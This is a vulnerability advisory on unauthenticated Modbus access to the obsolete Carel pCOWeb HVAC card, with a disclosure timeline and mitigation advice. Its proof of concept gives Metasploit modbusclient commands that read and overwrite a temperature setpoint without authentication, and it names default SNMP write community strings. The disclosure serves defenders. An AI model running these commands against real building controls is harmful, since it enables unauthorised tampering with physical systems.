Carel pCOWeb HVAC Modbus Interface Authentication Bypass

The Carel pCOWeb card exposes a Modbus interface to the network. By design, Modbus does not provide authentication, allowing to control the affected system. Version A 1.4.11 - B 1.4.2 is affected.

MD5 | a6b5f2afb3951524c7caa0e7f535303e

Advisory: Unauthenticated Access to Modbus Interface in Carel pCOWeb HVAC

As part of it's features, the Carel pCOWeb card exposes a Modbus
interface to the network. By design, Modbus does not provide
authentication, allowing to control the affected system.


Product: HVAC units using the OEM Carel pCOWeb Ethernet Control Interface
Affected Versions: "A 1.4.11 - B 1.4.2", possibly others
Fixed Versions: product obsolete
Vulnerability Type: Unauthenticated Access
Security Risk: high
Vendor URL:
Vendor Status: notified / product obsolete
Advisory URL:
Advisory Status: published


"The pCOWeb card is used to interface the pCO Sistema to networks that
use the HVAC protocols based on the Ethernet physical standard, such as
BACnet IP, Modbus TCP/IP and SNMP. The card also features an integrated
Web-Server, which both contains the HTML pages relating to the specific
application and allows a browser to be used for remote system
(from the vendor's homepage)

It is used as an OEM module in several different HVAC systems and
considered obsolete by the vendor.

More Details

While authentication is required to access the web interface (compare
advisory rt-sa-2019-013 [0]) no authentication is necessary for using
the Modbus interface on TCP port 502, since the Modbus protocol did not
offer any authentication mechanism during the device's lifetime.
The addition of encryption and authentication was only recently proposed
by the Modbus Organization [1].

It is believed that this might be analogous to the problem described in
CVE-2019-13549 for the special case of Rittal SK 3232 products. Other
OEMs are affected, too.

Proof of Concept

The web interface of the Carel pCOWeb card allows authenticated users to
read and write many variables of the system via the URL

This web page seems to provide access to all Modbus variables using
large tables of variables 1-207 for digital, analog and integer
variables, respectively.

By accessing TCP port 502 (Modbus to TCP), it is possible to access
these variables without authentication. This can be done, for example,
by using the Metasploit [2] modbusclient [3] module:

msf5 > use auxiliary/scanner/scada/modbusclient
msf5 auxiliary(scanner/scada/modbusclient) > set RHOSTS
msf5 auxiliary(scanner/scada/modbusclient) > set DATA_ADDRESS 10
msf5 auxiliary(scanner/scada/modbusclient) > run

[*] - Sending READ REGISTERS...
[+] - 1 register values from address 10 :
[+] - [240]
[*] Auxiliary module execution completed

The returned value matches the set temperature of 24°C multiplied by
ten, as the variable can only hold integers. Using the same module, it
is possible to change the temperature setpoint, too:

msf5 auxiliary(scanner/scada/modbusclient) > set ACTION WRITE_REGISTER
msf5 auxiliary(scanner/scada/modbusclient) > set DATA 241
DATA => 241
msf5 auxiliary(scanner/scada/modbusclient) > run

[*] - Sending WRITE REGISTER...
[+] - Value 241 successfully written at registry address 10
[*] Auxiliary module execution completed

This allows unauthenticated remote attackers to reconfigure the device.

Depending on OEM integration, different variables might represent
different settings.

Additionally, the system provides SNMP (UDP Port 161) write access with
the SNMP community string "public" or "carel" (depending on version) as
documented in the manual [4] and BACnet over IP (UDP Port 47808).


The Carel pCOWeb card should not be connected to networks accessible by
untrusted users.


No updated firmware will be published for pCOWeb Cards, as they are
obsolete since Dec 2017. A successor hardware with current firmware is
available for OEM integrators.

Security Risk

Since the Modbus protocol implemented in the Carel pCOWeb card does not
offer auhtentication, it is not possible to limit access to the system
to authorized users, allowing attackers to control the system if the
device is accessible via the network. This is considered to pose a high
risk in context of the Carel pCOWeb card.


2019-07-17 Vulnerability identified
2019-08-03 Customer approved disclosure to vendor
2019-09-02 Vendor notified
2019-09-09 Vendor did not respond as promised
2019-09-17 Vendor could not be reached
2019-09-18 Vendor could not be reached
2019-10-28 Advisory published due to publication of CVE-2019-13549



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